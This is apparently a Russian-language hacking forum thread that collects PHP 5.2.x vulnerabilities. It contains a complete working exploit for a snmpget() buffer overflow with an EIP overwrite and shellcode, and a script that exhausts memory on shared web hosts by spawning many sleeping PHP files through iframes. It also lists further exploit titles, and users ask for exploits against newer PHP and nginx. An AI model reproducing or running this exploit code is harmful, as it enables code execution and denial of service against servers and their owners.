Сообщений в теме: 9

[$iD]

PHP версии до 5.2.3.

Опасность: Средняя
Наличие эксплоита: Нет

Описание:
Обнаруженные уязвимости позволяют удаленному пользователю повысить свои привилегии на системе.

1. Целочисленное переполнение обнаружено в функции "chunk_split()".

2. Уязвимость существует из-за ошибки в функции "realpath()". Злоумышлении может обойти ограничения "open_basedir" и определить наличие файлов на системе.

URL производителя: www.php.net

Решение: Установите последнюю версию 5.2.3 с сайта производителя.

[aka PSIH]

PHP <= 5.2.3 snmpget() object id local Buffer Overflow eip overwrite exploit
bug discovered by rgod
Original advisory: ]]>http://retrogod.alte..._local_bof.html]]>

exp:

<?php
//PHP <= 5.2.3 snmpget() object id local Buffer Overflow eip overwrite exploit
//bug discovered by rgod
//Original advisory: http://retrogod.altervista.org/php_446_snmpget_local_bof.html

//[quote="rgod"]more than 256 chars result in simple eip overwrite[/quote]
//right! so here it is an exploit using eip overwrite

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched

if (!extension_loaded("snmp")) die("snmp extension required!");

$buffer = str_repeat("A",256);

$EIP="\xFF\xBE\x3F\x7E"; //call esp from user32.dll

$nop=str_repeat("\x90",8);

$shellcode= //execute calc.exe
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x53\x4b\x58\x4e\x37".
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x48".
"\x4f\x55\x42\x42\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x35\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54".
"\x4b\x48\x4f\x55\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x38".
"\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x36\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x48\x42\x57\x4e\x31\x4d\x4a".
"\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x35\x41\x33".
"\x48\x4f\x42\x46\x48\x35\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x55\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x36".
"\x4e\x46\x43\x46\x50\x52\x45\x36\x4a\x37\x45\x36\x42\x30\x5a";

$egg = $buffer.$EIP.$nop.$shellcode.$nop;

snmpget (1, 1, $egg);
?>

©milw0rm.com

[###]

PHP 5.2.6 sleep() Local Memory Exhaust Exploit

Цель: PHP 5.2.6
Воздействие: Отказ в обслуживании

<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside
the execution of the script such as system calls using system(), stream operations, database queries, etc. is not
included when determining the maximum time that the script has been running." including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
$temp='';
else $temp='temp/';
for($n=0;$n<128;$n++) {
   $rand = mt_rand();
   $fp = fopen("$temp$rand.php", 'w+');
   fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\';
sleep(999999999); ?>');// for 16mb memory limit
   fclose($fp);
   echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\"
height=\"10\"></iframe>";
}
?>

[###]

]]>PHP 5.2.6 (error_log) safe_mode Bypass Vulnerability]]>

[BACZ]

PHP 5.2.6 safe_mode bypass

[$iD]

PHP <= 5.2.8 gd library - imageRotate() Information Leak Vulnerability

[###]

PHP <= 5.2.9 Local Safemod Bypass Exploit (win32)

[###]

PHP5.2.6 (content.phpid) SQL Injection Vulnerability
]]>http://inj3ct0r.com/exploits/13563]]>

[KZPROMO]

под 5.2.13 версию нету эксплойта?

[cocucka]

не знал куда запостить. Для nginx ни у кого ничего не завалялось?